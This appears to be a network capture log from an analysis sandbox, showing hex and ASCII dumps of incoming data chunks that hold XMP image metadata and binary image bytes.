2022-07-21 02:34:52 UTC	8275	IN	Data Raw: 34 30 37 32 30 36 38 31 31 38 41 34 32 45 35 45 32 44 42 35 38 37 42 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 46 36 42 30 35 44 34 31 37 39 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 44 42 42 43 42 45 31 44 42 43 39 30 35 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 44 42 42 44 45 35 43 30 33 35 32 43 36 35 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 38 38 42 32 37 30 35 43 33 45 Data Ascii: 4072068118A42E5E2DB587B87</rdf:li> <rdf:li>xmp.did:FB7F1174072068118A6DF6B05D4179B8</rdf:li> <rdf:li>xmp.did:FB7F1174072068118DBBCBE1DBC905B8</rdf:li> <rdf:li>xmp.did:FB7F1174072068118DBBDE5C0352C657</rdf:li> <rdf:li>xmp.did:FB7F1174072068118F6288B2705C3E
2022-07-21 02:34:52 UTC	8291	IN	Data Raw: 33 65 61 34 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 61 64 39 37 62 39 32 2d 30 37 37 30 2d 34 31 64 36 2d 39 30 30 61 2d 33 35 62 32 63 39 64 30 37 63 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 61 65 39 65 33 64 35 2d 34 62 61 31 2d 34 39 66 63 2d 39 33 37 33 2d 34 62 66 31 36 37 37 63 30 36 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 61 66 63 33 63 37 35 2d 31 30 34 32 2d 34 38 34 36 2d 38 37 33 34 2d 61 34 31 36 63 32 36 61 63 30 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 62 37 38 62 38 34 34 2d 37 30 38 30 2d 64 66 34 30 2d 39 36 63 34 2d 63 39 39 37 31 38 61 36 66 65 38 38 3c 2f Data Ascii: 3ea46</rdf:li> <rdf:li>xmp.did:bad97b92-0770-41d6-900a-35b2c9d07c27</rdf:li> <rdf:li>xmp.did:bae9e3d5-4ba1-49fc-9373-4bf1677c0673</rdf:li> <rdf:li>xmp.did:bafc3c75-1042-4846-8734-a416c26ac034</rdf:li> <rdf:li>xmp.did:bb78b844-7080-df40-96c4-c99718a6fe88</
2022-07-21 02:34:52 UTC	8307	IN	Data Raw: 63 37 64 30 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 65 34 65 37 36 30 66 2d 37 34 34 62 2d 34 30 61 62 2d 62 37 38 66 2d 32 36 35 32 66 32 65 36 63 38 36 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 65 61 31 61 64 66 32 2d 33 39 30 36 2d 39 30 34 39 2d 61 36 36 39 2d 35 35 37 37 30 66 65 64 64 38 64 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 65 61 62 63 32 37 62 2d 31 63 36 32 2d 34 39 62 38 2d 62 63 65 62 2d 62 36 64 34 35 62 64 34 34 33 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 66 31 39 36 33 61 30 2d 39 30 37 37 2d 34 36 36 65 2d 62 39 62 33 2d 61 32 38 37 65 62 37 62 38 64 34 38 3c Data Ascii: c7d059</rdf:li> <rdf:li>xmp.did:ee4e760f-744b-40ab-b78f-2652f2e6c86e</rdf:li> <rdf:li>xmp.did:eea1adf2-3906-9049-a669-55770fedd8d1</rdf:li> <rdf:li>xmp.did:eeabc27b-1c62-49b8-bceb-b6d45bd44318</rdf:li> <rdf:li>xmp.did:ef1963a0-9077-466e-b9b3-a287eb7b8d48<
2022-07-21 02:34:52 UTC	8315	IN	Data Raw: 75 37 af 8f a9 75 24 b7 00 38 2d 5b 4c a2 63 c3 0c f0 f5 26 94 29 56 da 23 1e 62 3d d4 a9 5d 87 71 a5 8b 12 22 61 37 62 75 da 2e 6d f5 e9 33 be 7c 57 23 8e 47 25 82 17 b8 26 c4 f8 0f 55 22 be 07 48 8c 2e a1 c5 b9 49 b2 9f 0f ad 49 35 99 1d d0 b1 3b 79 56 e2 c4 5c df d3 cb 40 93 4a c9 29 90 07 60 00 a1 a6 63 3b 76 90 c0 df f4 50 5a f4 1f 97 ed 9d 16 46 24 c1 6c 62 3b 7f 4f 9f f5 d6 a2 b2 ef c6 58 3e 1c 4b db e2 46 80 ea 37 05 bf 8e fa 82 bd 7b 52 61 1b 19 56 49 54 16 0d fd 5f 2d 25 7c aa 21 4e e0 97 be db f0 0d e9 a5 a8 f8 2a 30 da 60 0a 35 e1 5b 92 07 0f 97 a7 f3 51 a7 7a 77 b5 e2 9c 5c 87 87 21 74 70 0a 33 8d 02 9e 6d cb f3 d1 ec 9f b2 f8 f0 a9 9f 1c 2a a2 2c 43 b9 af f7 92 31 fd a4 dd f2 51 3a 67 2e fc bc 2e 5d fa ef 6f 2e b6 bf c2 b6 e5 db cf c1 25 00 Data Ascii: u7u$8-[Lc&)V#b=]q"a7bu.m3\|W#G%&U"H.II5;yV\@J)`c;vPZF$lb;OX>KF7{RaVIT_-%\|!N0`5[Qzw\!tp3m,C1Q:g..]o.%
2022-07-21 02:34:52 UTC	8331	IN	Data Raw: da 52 2c 3c 79 f2 04 65 f6 42 be ed 6f f2 72 d3 8b db 20 3d df b4 47 14 ef 3e 00 be 33 69 b7 e0 7d 54 f5 5c f7 b9 ec a7 da bb 64 ad 8b b5 40 5e 98 d6 da 8d cc 77 73 b7 a5 bd 14 6b 3e fa da 1b f6 80 ee dd 69 39 94 d8 df 87 eb d1 a7 ec 75 b2 a6 c0 e9 f4 f2 00 8d 81 b2 10 34 1f 32 fc d4 b5 9e 69 29 7b 56 3f 73 89 f2 b1 df 64 f7 3f 76 34 1f ec d4 f5 a7 3d 5e 53 fb 34 1b 73 56 3c 8b d9 43 12 0e 9e 1c bf b5 4b 5a 75 f0 ac fd 8a 1c c6 b3 c5 22 3d fc d7 e5 fd aa 5a cf da f2 7f 13 b0 9e de 96 45 91 15 b9 8b 37 a8 0f 42 fb aa 35 9d ef d9 2b bc 48 f8 e7 c9 d3 46 b7 1d 09 a5 15 c7 3a 65 73 91 dc 1c 86 28 76 8b 7e 8b 55 a7 d6 fe 04 8f b8 e3 75 4c 90 a9 95 7c 41 03 56 f2 ee a5 a3 2b ec d9 a5 ee 0e 9a 13 0a 2e d5 4b 5d 54 ff 00 71 a9 c3 9f b5 c3 8c b8 8e d3 ab a0 55 b8 Data Ascii: R,<yeBor =G>3i}T\d@^wsk>i9u42i){V?sd?v4=^S4sV<CKZu"=ZE7B5+HF:es(v~UuL\|AV+.K]TqU
2022-07-21 02:34:52 UTC	8347	IN	Data Raw: 8c a9 ba 92 38 7a f6 2b d2 45 90 e4 78 d8 33 04 90 ab 23 00 41 bd b8 fa 1a a6 d4 6d 8f b0 fb 7c 99 0c 44 69 d7 90 df 68 43 cd f6 6a 6d 1b ff 00 14 7d ed 24 ee af 74 70 d6 3b aa e3 7f c3 93 b2 44 bd 28 b5 7d 4b 37 c7 5a d2 0c d7 dd b5 01 94 c8 42 96 f2 80 75 d4 d2 a3 b5 7c ce d1 32 4b d3 04 c9 25 97 94 71 1b bd 2a 95 1a cb 9e a6 25 cd 93 26 13 5a ec ae 86 da e8 45 54 ad 24 d0 b2 f2 24 cd 97 aa ed a8 00 53 39 e1 a7 c5 68 63 59 87 30 63 6d 29 68 97 4c e1 e5 bc 07 a9 1a a9 36 3a 38 d3 ff 00 55 1a 9b 0e 63 4f 16 d6 01 46 c6 5b b7 c4 7d 4a 56 b2 a1 c7 89 8f 3a 68 ed a0 d4 52 94 ed b0 b2 76 d8 d0 b3 8e 71 e0 2f 57 2a fd e8 59 09 00 27 6a 69 6e 04 d3 57 3a 50 95 5d 07 f4 53 5b ec 64 55 7d d2 79 7c 40 a5 a7 4c b0 16 04 70 34 33 0c ff 00 c2 85 2d fe 4b 9d b1 7b cc Data Ascii: 8z+Ex3#Am\|DihCjm}$tp;D(}K7ZBu\|2K%q%&ZET$$S9hcY0cm)hL6:8UcOF[}JV:hRvq/WY'jinW:P]S[dU}y\|@Lp43-K{
2022-07-21 02:34:52 UTC	8355	IN	Data Raw: 19 2c f8 cb b4 7c 0f 1f b5 4c 4b fa 81 d0 0c 96 6e 3a d0 76 89 94 50 a9 48 c6 d5 21 7f ac 50 51 8c 39 4d fa 67 5a 67 43 4c 75 49 06 e3 70 4d 03 db c0 d2 61 c7 d4 0b 1b 10 a7 e3 48 a7 46 1f b7 fe 0e 28 a7 c7 94 39 70 4b 01 e6 42 0d 24 fb 6f c9 45 c8 2b 75 73 72 4d 4a f0 75 8b 90 3b 1d 0f 85 08 d2 79 1a 68 38 5e a9 a4 77 1e 11 bf 79 b1 03 85 03 7f 0a 0d 3e f0 14 22 5f c4 81 6a 9a cf 1b 2b 1c 1b ba e4 39 b5 80 e3 41 7c 95 ea c7 ae 9c a7 c0 7c 68 56 30 1a 42 6e 38 1f 0f 1a 0c f0 c7 96 22 11 82 0e a0 04 31 00 8b 7d 7a 68 7f ff d4 85 34 b8 5f be 55 7d fb 95 dd 17 cb 62 79 b6 3b 36 fe 7f a9 5c 1f 2e 19 2c f0 61 3b 8c ce ee e8 d1 c7 0a de 45 88 f1 68 ef fb bd ff 00 dc a3 07 ac 25 37 77 4e e9 09 c3 30 22 ef 23 ef 0f 15 37 f4 53 90 fd 3d 2e b5 94 52 2c a8 df 22 75 Data Ascii: ,\|LKn:vPH!PQ9MgZgCLuIpMaHF(9pKB$oE+usrMJu;yh8^wy>"_j+9A\|\|hV0Bn8"1}zh4_U}by;6\.,a;Eh%7wN0"#7S=.R,"u
2022-07-21 02:34:52 UTC	8371	IN	Data Raw: f3 f9 2b 1b 58 fd 9d 67 80 3f 35 e7 cb 8e 20 58 c0 5c 67 43 61 e6 b6 be 56 7f 2d 38 5f 5f 1a 91 1e 62 12 af b4 07 b7 31 e2 1b 5f 2e da bd 69 62 82 a7 6e 5c a8 b2 a6 52 ca 57 f7 7e 6d cf 6f 94 79 12 a6 d6 5b 73 c3 1f 88 82 28 f6 c0 84 75 5a cd b8 10 8a 47 a1 7e 7a 99 d1 65 df 28 99 b2 c3 38 62 e8 43 f1 b8 d2 b6 95 d1 ce a6 20 65 5d c0 d9 41 b5 ab 48 d9 a5 6d 38 69 e2 29 8c 15 4a ba 6c 5b 80 0e 82 a6 a2 9b 05 64 4e 65 dc c3 52 78 52 66 ee 1e 34 db cb bd c7 48 82 0f 1a 9b 55 6c 53 ef 0e fb cc 85 48 67 01 b8 5a a4 b8 53 ed 1d e6 4c 08 a6 c1 7b 36 2e 50 1b 81 d4 46 ff 00 cf 4f ab 53 69 75 77 e1 6b bb 76 4c cc 38 d2 67 b1 c6 16 2b 2c 7a a5 bc dc f5 19 73 58 66 3c de 46 26 76 5a f5 04 63 6e f6 b1 06 dc 79 ff 00 52 93 59 64 4c fc 1c 86 62 58 eb 7b 90 6a 97 6f 85 Data Ascii: +Xg?5 X\gCaV-8__b1_.ibn\RW~moy[s(uZG~ze(8bC e]AHm8i)Jl[dNeRxRf4HUlSHgZSL{6.PFOSiuwkvL8g+,zsXf<F&vZcnyRYdLbX{jo
2022-07-21 02:34:52 UTC	8387	IN	Data Raw: 34 04 2d 98 71 b6 bf ad 46 0b c8 0b b8 a9 23 42 be 14 b0 cd e5 64 38 41 8a 5d 4c 6c aa 4d 80 f8 6f f3 f9 f7 25 52 79 fd 53 5b 16 3b 0e 23 5d 0d 35 e9 e8 3b 58 57 01 9c 75 18 80 6e 7c b7 f7 d2 4d ec 5c 69 46 3c c8 1c f2 a9 3a 8e 1a f2 ee a7 89 a4 72 a6 58 e4 31 c5 ce 8b a0 bf 8f f9 94 e4 5f 33 c3 86 77 cb 94 c8 fe 76 d7 fa a8 a7 98 6e 6c 96 dc 36 0b 0b 0f a6 a5 9c 8c 75 ce 8c ed 70 a4 d8 13 c2 92 b0 f7 6d cf 18 32 4d dc 02 06 ea a0 88 5c 0d b7 bf 3f db 44 a4 8e b9 f6 9e a3 47 1a 42 3a 91 9d d2 bd ec 00 d0 16 3e aa 8c 4e da 97 9c b9 0f 31 12 1d 6f 66 0b c2 e3 e5 a3 1b 4c 5a fc bf f9 77 bb 64 74 f2 70 e3 12 86 d6 c1 85 e3 1e 54 67 dc df c4 a2 a7 ab 3a f0 cf 73 ed 39 bd 80 95 c9 82 48 4c 8d cb 26 85 7e cc 89 ca af 53 0e f3 bf 2c af 73 22 50 ce 0a ec b1 04 1e Data Ascii: 4-qF#Bd8A]LlMo%RyS[;#]5;XWun\|M\iF<:rX1_3wvnl6upm2M\?DGB:>N1ofLZwdtpTg:s9HL&~S,s"P
2022-07-21 02:34:52 UTC	8395	IN	Data Raw: 16 1e 7e 6f 91 ea 2b 1d db a9 3d 5c 38 32 c4 cd 24 72 34 ea aa 4a a8 08 0d f9 e4 ff 00 2f 9e 86 be 7a 98 72 1e f7 81 17 de 95 59 32 4d f7 0d ba a8 f4 74 26 f7 ad 05 e9 6a 67 73 ef 3b d7 f1 50 32 ee dd a0 03 ef 14 81 e5 fa 8d 55 1b 71 c7 e2 aa 3e 59 c4 82 19 33 a1 8d da 70 27 2a cc 43 ef d6 35 e5 8f fc ae 6f 25 5c 29 3c 85 db 73 70 bb 66 2b 4e 90 a9 9a 47 6d 5f 9b 6a fb 63 5a 50 5d b7 0b 65 e4 e1 1c 4e 8f e2 a4 ea 6e e6 88 26 88 a4 ee e6 dd 55 22 a4 bb f0 86 d2 61 c1 20 90 39 24 11 c1 6c 45 5e 2f c9 f8 e0 c3 cb 99 92 79 cc 73 d9 a4 46 2b 75 70 46 e8 e3 e5 fe 65 0c ad b1 3e 08 98 c2 f3 15 16 50 4f 1f 11 4d 55 33 7d c6 eb 9b 5e f6 a6 db 06 ff 00 53 24 32 32 dd 48 22 d6 e0 68 c4 fa bb 81 2d d4 a4 9a 1d 35 a4 5d c1 f2 21 cc cf 2b d2 89 a4 08 2c 18 0d 4d 1a 52 Data Ascii: ~o+=\82$r4J/zrY2Mt&jgs;P2Uq>Y3p'*C5o%\)<spf+NGm_jcZP]eNn&U"a 9$lE^/ysF+upFe>POMU3}^S$22H"h-5]!+,MR
2022-07-21 02:34:52 UTC	8411	IN	Data Raw: c9 fc 5b 33 0f 13 7f d1 f2 d5 b6 93 1f 62 3b 46 e1 97 42 bc 29 97 50 69 fa 85 ef 7b 86 17 26 fe 35 25 3e 08 bb b5 c1 24 b5 bc 0e b4 d7 21 d1 9f 1a c0 c8 8b 79 49 1a f8 15 f5 53 47 ad d4 b9 24 72 e4 9b fc 00 bf 85 0d 62 ef e5 c6 39 05 f1 4a 8b 85 04 36 b7 1a fa 7e b6 ee 7a 8a cb ec f1 e5 ea 31 fb ac 7d ba 4e 8e 64 4b 23 2d b5 8b 40 e3 fc e4 f3 b6 da cf 1c d7 9f 6f 80 a5 ee 98 d2 bb be d6 8a 5f 7e 80 01 7e 5d 89 51 62 6f 14 ec f9 10 f5 ff 00 f2 a5 32 75 e2 59 21 b3 6c 08 7c 8c b1 ed f3 6f 7f 43 ec 4a 9c 46 78 f0 45 5f b7 94 2c 97 8b 25 5c 5c ee b5 8f ce 9e b4 a6 bf dc 9f dc 7b 93 46 f1 75 27 ea 6d 24 85 dd aa df cd cd fc 3a b9 1a 71 c7 e9 09 f7 7e ed 0e 42 22 c4 1d 44 7e 1b b7 e9 ef 49 3f b6 95 71 7c 71 62 36 4e 72 4e 8a cf c5 74 b9 e3 5a b7 90 25 11 48 6c Data Ascii: [3b;FB)Pi{&5%>$!yISG$rb9J6~z1}NdK#-@o_~~]Qbo2uY!l\|oCJFxE_,%\\{Fu'm$:q~B"D~I?q\|qb6NrNtZ%Hl
2022-07-21 02:34:52 UTC	8427	IN	Data Raw: 5f 5d 5f b0 d7 33 30 7b 5e 46 0b 27 65 47 95 c1 0a fb a4 e6 5b fa ff 00 0e dc cf b2 b5 d8 76 a1 0e c6 99 72 4b 0e 44 ee 8c 8b c8 15 6e 0d 87 37 ef 36 55 c4 de b3 30 a6 2e 4b e0 94 49 82 1d 80 8d ca 2c e5 0f a1 9b dd 5a 60 b3 db e0 4e f7 9d 8b dd 56 18 e0 69 0e c0 46 e9 35 b2 8f dd a6 ff 00 96 9e 1f 1b c9 3c 37 2d 19 c4 2b c8 de 56 b7 ab eb 7b 69 58 2f ea 18 dd 8a c6 03 a9 06 f6 1a de de 5a 9c 3d f6 01 c9 48 d8 35 81 66 b9 f8 d3 c5 4f 34 d7 6b 86 3c 97 48 a6 90 2a b5 f5 26 84 f5 73 e0 e4 f1 76 ac 16 48 f2 5c e5 f8 be c6 2a 57 fc b5 7f dd bf d8 a0 4b d5 f8 fd 80 f6 c8 e1 39 ce c8 76 a2 ab 34 63 cc d7 1e 54 6a 9a 3a b7 0c e0 c3 9b 9f 2b f4 22 90 af 8b a0 e5 b8 f7 52 c4 db 39 f9 76 5f cb 39 31 3a 99 06 d0 de a3 ae cf d5 a5 82 7d a2 e2 f7 ac ef cb d0 c9 f8 59 Data Ascii: _]_30{^F'eG[vrKDn76U0.KI,Z`NViF5<7-+V{iX/Z=H5fO4k<H&svH\WK9v4cTj:+"R9v_91:}Y
2022-07-21 02:34:52 UTC	8434	IN	Data Raw: 32 4e 00 63 b1 8b 6d ea ab 7a 2a a5 c2 92 da 91 dd 3b 07 69 78 1e 3c 36 69 32 18 83 d4 6d 0e eb f3 34 68 bf 77 d2 db 55 fd cc 6b cf 7d 6f 90 33 7f 22 e6 f6 cc 19 33 a1 99 32 04 7c cc 06 84 20 f3 f9 b9 b7 2d 6b 3b 9d 55 f3 f6 4e ae 01 da b0 33 73 71 4e 44 b2 c7 18 00 ed 12 9b 5d 7d 4f bb d1 47 50 75 d4 97 21 88 3b b6 1f 6d 5c 73 66 39 20 73 32 b7 2d d4 f2 ff 00 ef 2a 3d 4b 2d 37 d9 3f 35 8e dc ce 22 49 19 a6 66 3b 54 dc 6f 6f 56 d7 ac fa e7 5b f1 d5 e2 f8 7a ac fe 9a ab 4c e4 aa a8 0d 73 e9 f9 5a b0 c7 bf cf 5b 34 e4 61 4d 99 1a e2 c0 df e3 52 d2 5d 69 64 ea f0 22 e0 50 6c cd ca 08 6e 36 a6 92 12 b5 ad 6a b1 19 54 e4 bd f5 37 a5 4d 4a 07 62 51 0f 1b 6b 48 51 d5 5b 71 37 d0 70 f8 50 cc 82 12 72 5a f6 34 95 c9 de e3 b9 60 1b 74 e3 6b d1 0f 8b e5 13 26 55 5c Data Ascii: 2Ncmz;ix<6i2m4hwUk}o3"32\| -k;UN3sqND]}OGPu!;m\sf9 s2-=K-7?5"If;TooV[zLsZ[4aMR]id"Pln6jT7MJbQkHQ[q7pPrZ4`tk&U\
2022-07-21 02:34:52 UTC	8450	IN	Data Raw: 5a df 0a a8 ba 32 4a e2 e0 2f 27 fc 29 a0 12 81 ae 5f 4a a5 f3 5e 97 aa 93 76 98 a3 8a e5 48 65 6f ad fe de 5a 13 9f bb 5e 71 63 58 5a fe 2a 46 d2 38 dc 54 eb 4b e5 6b b9 76 dc c7 81 73 72 00 eb 48 2f 66 6f bc 23 dc eb ee aa 67 cd fc 24 24 8c bc dd 2e a2 83 cc 08 36 fb 5b 69 2e c8 fa 79 e2 ca 75 45 8c 45 a8 16 50 7f bf 48 49 64 d7 a0 c1 ee 38 78 0e f8 b2 e2 1c 8c 54 b8 5d 4a 1d e7 f8 cc de aa cb a8 c7 2d f2 0e 1e 34 dd db 35 31 b1 09 66 27 75 d8 9d a8 be b9 24 f4 f2 7b ea 30 f7 27 95 2f cc 49 1e 0c 50 f6 2c 29 3a b9 2b 2b 49 23 27 93 6b aa fa ff 00 5f ea 55 64 57 1f ad fe 2f 49 8b df b1 d3 0a 4c 1e c2 b3 c4 89 1c 8f d5 2b cc f2 a0 ea 7e fb ea 2b d6 57 fc 19 f5 e2 a0 27 e7 3e fa 60 2b 89 2b 30 24 13 c1 9b 98 ed 54 47 f5 75 9e ab 9b 67 83 c9 ad 45 dd 3b a7 Data Ascii: Z2J/')_J^vHeoZ^qcXZ*F8TKkvsrH/fo#g$$.6[i.yuEEPHId8xT]J-451f'u${0'/IP,):++I#'k_UdW/IL+~+W'>`++0$TGugE;
2022-07-21 02:34:52 UTC	8466	IN	Data Raw: f5 ac fe df b3 7e 0e cb d8 bb 37 77 65 86 38 c4 07 a9 ba 56 41 d3 bf a9 a3 89 7c 8d f5 aa 3f b9 51 3e ce b9 f3 5f ff d5 42 00 d2 3f 4b 1b cc ed af c3 5f 35 79 0e 1b fe 26 24 68 24 23 56 2e 87 6b 0e 1b 94 f9 d9 68 4c 95 f4 7d 8f f0 99 76 24 ba 91 ba 32 7c 07 b7 e7 5a 35 5e db 19 c8 0a cb 3b 31 e9 88 80 2c 40 f3 16 3d 35 fd 5a 0b 9f 18 1a bb 62 43 78 ef 23 81 a8 7b 03 f3 d1 61 e6 d0 a3 fc c1 94 20 38 98 b7 08 ec 59 90 80 47 cd 53 8b c9 f9 1f 0c c9 04 cd 96 f2 0b aa 93 b4 d8 17 d3 6b f9 a8 91 9f 57 f0 e7 7f c6 7e da f0 c4 db 56 3c 81 b8 05 60 75 f3 73 d5 ce 17 c5 d3 1d af 3b 07 1a 16 c2 dd 2a e4 92 08 dc 00 8b 7f b7 ae a7 91 68 c3 f5 b5 6f f3 06 3c b2 63 45 d7 c6 07 18 a8 dd 2d ae 54 fd 7f 66 ea 52 54 f3 3f 28 18 47 b5 c3 20 93 05 9a 69 a4 36 bc c2 d1 d8 79 Data Ascii: ~7we8VA\|?Q>_B?K_5y&$h$#V.khL}v$2\|Z5^;1,@=5ZbCx#{a 8YGSkW~V<`us;*ho<cE-TfRT?(G i6y
2022-07-21 02:34:52 UTC	8474	IN	Data Raw: 8e 5c b8 11 a4 73 67 63 a8 45 3c bb 9a 1d bb 1d fd 95 59 89 bc d9 fc 68 a9 db bf 2e 0c a9 9e 1c 89 62 48 f8 20 16 53 ff 00 7b 9b f5 29 9d eb ab 3c a6 66 3e 0e 7c 41 71 23 9a 13 bf ce ee cd 19 b7 93 7e ff 00 5d 11 53 67 cf ab 5d 95 7b 86 38 9a 5c 5c 84 82 45 51 ba ed ab d8 fe ee 3f 36 ea 78 3b cb f3 14 c7 e6 78 33 3a 69 9d 0c 72 4d 7d 64 2b b6 c6 df bc e4 a9 c6 5f db b3 f8 93 ed bf 98 72 52 26 82 39 1e 3b 31 da 57 e6 e5 7d db aa 64 57 5f 5f e4 1e e1 dc 24 86 2f c3 47 91 34 a5 87 de 23 01 b4 5f d8 ea cd ba 9a b8 e7 7c de 79 03 1f f2 df 76 99 d5 a5 85 90 48 85 d1 9f 40 de d5 df ef ab b7 1a 75 f6 73 20 53 49 9b 0a 4e b2 46 63 40 bd 39 40 1b 74 bf 2f d9 a2 53 99 e3 09 cd 88 99 08 b0 e1 dc ed 5e 67 bd c1 b0 e6 df f5 2b 45 fb 65 f2 02 48 1a 50 99 20 c8 88 a4 28 Data Ascii: \sgcE<Yh.bH S{)<f>\|Aq#~]Sg]{8\\EQ?6x;x3:irM}d+_rR&9;1W}dW__$/G4#_\|yvH@us SINFc@9@t/S^g+EeHP (
2022-07-21 02:34:52 UTC	8490	IN	Data Raw: 8f 4b 51 63 2f 1a 36 14 eb bd a2 75 1b 5b 80 06 da fd 4a 94 f5 3c 68 e8 f1 c6 ea f3 47 d3 0a 6d f4 5a 92 73 c1 dc ec 58 a4 81 b7 5d b7 6a 8c 4f 2d bd 55 52 a7 9e b2 a4 c9 91 17 71 cb 5e df 93 20 8a 18 d4 de 46 5b 8b 28 f2 22 ad 69 cb a7 99 93 d9 e6 7b af 6e ff 00 4e 95 86 2c a3 2a 14 00 96 51 e5 dd e9 6a da 3a 39 eb 67 93 32 77 6c 7c 87 0f 8d 8f d3 50 a0 10 58 b5 cd b9 9e 84 fa e1 44 71 2b d9 ef 63 e3 c6 85 5f 0d c7 20 3b 89 04 05 3a 1a 13 61 b8 92 fb 4e c0 0a dc 86 1c 4d 45 66 6b ba 77 bc dc c8 57 17 24 a8 31 b0 65 21 40 6f fd e5 41 f1 cc 9e 46 83 3b b8 c3 86 fd 2c b7 18 fb 86 ed b2 04 93 5f f2 ff 00 7b 44 b8 26 6f c7 ef 03 2f b3 18 b2 52 08 18 c8 92 c6 24 ea 30 b6 d0 4e d7 df 42 e7 5b 03 ca c5 6e bb 63 c1 26 f8 e2 16 0c 47 9a 9c 12 f8 df f3 a6 4f 8c 92 Data Ascii: KQc/6u[J<hGmZsX]jO-URq^ F[("i{nN,*Qj:9g2wl\|PXDq+c_ ;:aNMEfkwW$1e!@oAF;,_{D&o/R$0NB[nc&GO
2022-07-21 02:34:52 UTC	8506	IN	Data Raw: b2 9d ed 1f 97 c7 70 81 f2 b2 a7 30 42 ba 2e d1 bd 9b e6 e8 ee df b1 7d f5 0c fb ef d7 e2 31 14 c7 b2 ce ed 87 20 92 50 08 49 6d a1 52 39 be ea 5a 43 f9 18 83 b7 f6 fc bc 8c 20 cf 24 ce ef 7c 84 6b f2 ad f7 49 cc 9e 9d b4 f7 17 3a b3 fd aa 58 f9 bd bb 17 bc 4d 8f 83 1c 09 84 da 23 4c a5 f6 58 6e 66 89 bf 79 ce f4 b5 1d cd 9a 97 8d 9b 8f 34 b3 7f a8 cf 23 88 cd 95 53 cd 26 be 5e b7 f0 d6 9a 7a e7 f4 35 9b db f1 f3 0c 73 61 f5 44 5a 29 ea 2d d5 48 ff 00 3f c9 54 8e 7a b3 e4 8a e7 a4 05 62 77 d9 16 a3 72 82 4b fb 79 a9 ab 2d f2 9c 4b 2a 81 1b 16 40 78 9a 17 3f c5 f2 26 cb 31 70 cc 4f 00 3c b4 f0 69 d8 72 88 d2 54 49 2c 74 dc 3f bc 94 88 cb f7 f7 90 88 f2 22 12 42 0d c4 77 3b 47 fd 3f 5a 7e b5 09 9c 12 ca 9a 09 79 f1 a1 fc 3d f8 28 62 c3 eb 73 d2 c5 c9 85 24 Data Ascii: p0B.}1 PImR9ZC $\|kI:XM#LXnfy4#S&^z5saDZ)-H?TzbwrKy-K*@x?&1pO<irTI,t?"Bw;G?Z~y=(bs$
2022-07-21 02:34:52 UTC	8514	IN	Data Raw: 71 fb c4 df 9a 33 53 b7 f7 29 21 c3 91 03 5a 47 8e cc 5f f9 2f e4 5f d7 fe dd 57 aa bd 24 f2 5f 17 f2 ee 76 64 b3 62 75 07 fe 3c a5 5d b6 b3 c6 07 f3 97 a7 b9 16 a2 c4 de a4 f2 f4 9d bf b6 e5 76 4c 78 e5 c3 2d 3b 64 3f 46 44 dc af 18 24 ff 00 e3 c9 1a ff 00 2f fe a5 46 33 bf b9 bc 87 ec f0 77 01 83 dc b1 22 fc 5c 5b 58 be 33 74 ba 8f e7 e8 ba 7d da b7 f8 ea f6 fe 57 cd a5 3b 9f 74 5f cc b9 06 2c 63 9f f8 45 16 96 04 4e a0 b8 3c 91 37 e1 ff 00 77 0b fc fd 5a 72 34 cc f8 44 c2 ef 98 7d 9f b8 24 7d ae 49 20 c3 98 6d c8 8a 61 b8 21 d5 5f 9f 6e f6 4f db 4a d5 9f 5c fb 4d b3 f7 05 db 23 89 ce 46 17 e1 57 36 31 21 90 48 24 e9 3e df f2 d9 bc d4 27 af 1e 77 d0 bc 7f 99 65 c2 79 23 ed c9 d1 81 b9 4c 6f 69 6e 3e da d1 a7 fd bd f3 d7 fe c2 64 e7 f6 bd 8b 11 c2 fc 3c Data Ascii: q3S)!ZG_/_W$_vdbu<]vLx-;d?FD$/F3w"\[X3t}W;t_,cEN<7wZr4D}$}I ma!_nOJ\M#FW61!H$>'wey#Loin>d<
2022-07-21 02:34:52 UTC	8530	IN	Data Raw: 9c 7c 3c 80 d8 91 fd c5 ac aa dc d7 b7 36 e6 dd e6 dd 45 1c cb 67 95 7c 33 d9 f2 a3 69 f2 e3 6b 15 54 53 7d 23 63 fc 94 bf a2 a7 58 df 69 e2 20 f7 63 81 03 37 4d 5b 20 b9 16 91 9b 61 04 7b e2 db 57 2b a7 8b 6f ca 4b 42 4b 86 2b a9 06 d5 a3 6d f1 e0 69 b1 63 13 b8 c3 ea 5b 40 35 fa 39 b7 d1 a7 3a f1 e4 b6 54 13 61 b0 12 ad 9f 8d 8f 8f da a0 e5 95 85 c9 6b b4 c9 6e a1 d4 55 1c 81 89 cc ac 19 ee 6f ad 0a c7 a1 fc bd 3e 26 0a c7 dc 44 c0 e7 ef d9 1c 64 69 1e bf fe b3 37 c9 b2 b3 e9 87 d9 2f 5f b7 fa 1e ab 07 b9 75 30 b3 7b 5e 4a 9c 87 43 70 c4 12 59 5e dd 35 f9 2b 93 af 0e 6b 32 fb 4f da 